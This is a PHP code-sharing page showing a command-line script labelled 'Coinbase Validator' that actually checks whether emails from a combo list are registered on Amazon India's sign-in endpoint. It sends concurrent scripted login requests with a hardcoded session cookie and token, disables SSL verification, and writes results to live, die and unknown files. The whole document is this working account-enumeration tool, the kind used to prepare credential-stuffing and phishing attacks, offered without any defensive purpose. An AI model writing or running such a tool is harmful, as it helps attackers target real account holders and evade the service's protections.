cb - PHP Online

Form of PHP Sandbox

Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php in the places where the PHP script should be executed.



Your result can be seen below.

Result of php executing





Full code of cb.php

  1. <?php
  2. ini_set("memory_limit", '-1');
  3. date_default_timezone_set('Asia/Jakarta');
  4. define("OS", strtolower(PHP_OS));
  5. banner();
  6.  
  7. menu:
  8. echo color()["RED"]."Choose Your Validator : \n";
  9. echo color()["GR"]."\n";
  10. echo color()["GR"]." - [ 1 ]. Coinbase Validator\n";
  11. echo color()["YL"]."\n * [ Selection ]     : ";
  12. $menu = trim(fgets(STDIN));
  13. if ($menu== "1"){
  14. require_once "RollingCurl/RollingCurl.php";
  15. require_once "RollingCurl/Request.php";
  16.  
  17. enterlist:
  18. $listname = readline(" * [ Enter Your List ]    :  ");
  19. if(empty($listname) || !file_exists($listname)) {
  20.         echo"[?] list not found".PHP_EOL;
  21.         goto enterlist;
  22. }
  23. else if($listname == "n") {
  24.         echo "[?] list not found".PHP_EOL;
  25.         goto enterlist;
  26. }
  27. $lists = array_unique(explode("\n", str_replace("\r", "", file_get_contents($listname))));
  28. $savedir = readline(" * [ Save Results ] :     ");
  29. $dir = empty($savedir) ? "results" : $savedir;
  30. if(!is_dir($dir)) mkdir($dir);
  31. chdir($dir);
  32. reqemail:
  33. $reqemail = readline(" * [ Ratio Check / Detik ]  : ");
  34. echo color()["RED"]."----------------------------------------------------------------------------------\n";
  35. echo color()["YL"]."                                   [ Process ] \n";
  36. echo PHP_EOL;
  37. $reqemail = (empty($reqemail) || !is_numeric($reqemail) || $reqemail <= 1) ? 4 : $reqemail;
  38. if($reqemail > 1000) {
  39.         echo "[!] max 1000".PHP_EOL;
  40.         goto reqemail;
  41. }
  42. else if($reqemail == "1") {
  43.         echo "[!] Minimail 2".PHP_EOL;
  44.         goto reqemail;
  45. }
  46. $no = 0;
  47. $total = count($lists);
  48. $live = 0;
  49. $die = 0;
  50. $unknown = 0;
  51. $c = 0;
  52. $rollingCurl = new \RollingCurl\RollingCurl();
  53. foreach($lists as $list) {
  54.         $c++;
  55.         if(strpos($list, "|") !== false) list($email, $pwd) = explode("|", $list);
  56.         else if(strpos($list, ":") !== false) list($email, $pwd) = explode(":", $list);
  57.         else $email = $list;
  58.         if(empty($email)) continue;
  59.         $email = str_replace(" ", "", $email);
  60.         $data = 'appActionToken=ZTPXbz8ASkxVESD91j2Bni5IrtfzEj3D&appAction=SIGNIN_PWD_COLLECT&subPageType=SignInClaimCollect&openid.return_to=ape:aHR0cHM6Ly93d3cuYW1hem9uLmluLz9fZW5jb2Rpbmc9VVRGOCZyZWZfPW5hdl95YV9zaWduaW4=&prevRID=ape:UzkxWVI5N0QzS0pSVktZRDNBUFM=&workflowState=eyJ6aXAiOiJERUYiLCJlbmMiOiJBMjU2R0NNIiwiYWxnIjoiQTI1NktXIn0.BPSBkqTR6P5jvx1o8SwHZewxXZPQD9INnQwrTK7E10KGkJNKmRQrXg.Bpfw0MRekI04gLqe.sdnwmtH-Osy1zKXEYzD6fPzWPPkCwu3pcOTIb217gRrL3gj490WMz3YXHBxRVX3qxdlY9exrx6PRATEeoh-AGw692JhnSg7gbABo-1LcPjHhUYivUUt5vddd0DeqK_vrSCF0bQD0GedxfGtZ3jKoTrXh_OnuJz776sg3Bt3I5mCrZM5n06GPVrKg01Xrkuc-eJnv3CrFfIa7N7n4hbkGSaTpQBRyVjuXl5_QcsAcn14xUpCuXOVr8KDDp61TD5-7Ztw4NwDz6t7YNW0V4fqUkVM96lfk6DzWIS12p3k6BfiuyMLAxKyVhI4B_3bXiZayUJJd._JOpkNwt9xXjnJOjnb21AA&email='.$email.'&password=&create=0';
  61.     $headers = array();
  62.         $headers[] = 'Authority: www.amazon.in';
  63.         $headers[] = 'Host: www.amazon.in';
  64.         $headers[] = 'Origin: https://www.amazon.in';
  65.         $headers[] = 'Content-Type: application/x-www-form-urlencoded';
  66.         $headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0';
  67.         $headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8';
  68.         $headers[] = 'Referer: https://www.amazon.in/ap/signin?openid.pape.max_auth_age=0&openid.return_to=https%3A%2F%2Fwww.amazon.in%2F%3F_encoding%3DUTF8%26ref_%3Dnav_ya_signin&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.assoc_handle=inflex&openid.mode=checkid_setup&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&';
  69.         $headers[] = 'Cookie: session-id=262-1272399-7205267; session-id-time=2218483162l; csm-hit=tb:GXHK3MMM75GG12CED0BV+s-S91YR97D3KJRVKYD3APS|1587763220032&t:1587763220032&adb:adblk_no; ubid-acbin=259-8137026-1769365; session-token=Z+vdm5H9Ixz8ux8leZZ9q9turVyQKimOjnNfM3omfjD+H2pGXRSz2SCxkRrcENBNthBpG2Kv/NZu5GUEPeIaMXDL+4XKgen0hon6DFldX9A6CVK1PGA9dIx+wz4oDfDo6jsqsFOwu8eT6FiybmshDRkSZOrlnyNy+rJjDw0wPcd0if0NeoE7zIhww/E6On5M; i18n-prefs=INR; visitCount=2';
  70.         $rollingCurl->setOptions(array(CURLOPT_RETURNTRANSFER => 1, CURLOPT_ENCODING => "gzip", CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V4))->post("https://www.amazon.in/ap/signin?jembot=$email", $data, $headers);
  71. }
  72. $rollingCurl->setCallback(function(\RollingCurl\Request $request, \RollingCurl\RollingCurl $rollingCurl) use (&$results) {
  73.         global $listname, $dir, $no, $total, $live, $die, $unknown;
  74.         $no++;
  75.         parse_str(parse_url($request->getUrl(), PHP_URL_QUERY), $params);
  76.         $email = $params["jembot"];
  77.         $x = $request->getResponseText();
  78.         echo color()["BL"]." - [".$no."/".$total."]-[".date("H:i:s")."]";
  79.         if (inStr($x, 'There was a problem')) {
  80.         $die++;
  81.                 file_put_contents("die.txt", $email.PHP_EOL, FILE_APPEND);
  82.                 echo color()["RED"]." DIE".color()["RED"]." => ".$email;
  83.         }else  if (inStr($x, 'Forgot Password')) {
  84.         $live++;
  85.                 file_put_contents("live.txt", $email.PHP_EOL, FILE_APPEND);
  86.                 echo color()["GR"]." LIVE".color()["GR"]." => ".$email;
  87.         } else {
  88.         $unknown++;
  89.                 file_put_contents("UKNOWN.txt", $email.PHP_EOL, FILE_APPEND);
  90.                 echo color()["PUR"]." UNKNOWN".color()["PUR"]." => ".$email;
  91.         }
  92.        
  93.     echo "";
  94.     
  95.     echo PHP_EOL;
  96. })->setSimultaneousLimit((int) $reqemail)->execute();
  97. system('clear');
  98. echo PHP_EOL."-- Checking Done --\n-- Total: ".$total." - Live: ".$live." - Die: ".$die." - Unknown: ".$unknown." Saved to dir \"".$dir."\" -- \n".PHP_EOL;
  99. }
  100. else if ($menu== "2"){
  101. echo "Coomingsoon\n" ;
  102. }
  103. else if (empty($menu)){
  104.     echo color()["RED"]."[x] ".color()["WH"]."Perintah Tidak Boleh Kosong";
  105.      goto menu;
  106.         }
  107. else{
  108.         echo color()["RED"]."[x] ".color()["WH"]."Perintah Tidak Dikenali";
  109.         goto menu;
  110.         }
  111. function banner(){
  112.             
  113.         echo color()["RED"]."---------------------------------------------------------------------------------\n";
  114.         echo color()["GRB"]."                 [ Coinbase Validator - SPM55 ] \n";
  115.     }    
  116.  
  117. function color() {
  118.         return array(
  119.                 "WH" => "\e[0;37m",
  120.                 "YL" => "\e[1;33m",
  121.                 "RED" => "\e[1;31m",
  122.                 "PUR" => "\e[0;35m",
  123.                 "CY" => "\e[0;36m",
  124.                 "GR" => "\e[1;32m",
  125.                 "GRB" => "\e[0;32m",
  126.                 "BL" => "\e[1;34m",
  127.                
  128.         );
  129. }
  130. function getStr($source, $start, $end) {
  131.     $a = explode($start, $source);
  132.     $b = explode($end, $a[0]);
  133.     return $b[0];
  134. }
  135. function inStr($s, $as){
  136.     $s = strtoupper($s);
  137.     if(!is_array($as)) $as=array($as);
  138.     for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
  139.     return false;
  140.     }
  141.  
  142.  
File Description
  • cb
  • PHP Code
  • 26 May-2023
  • 6.23 Kb
You can Share it: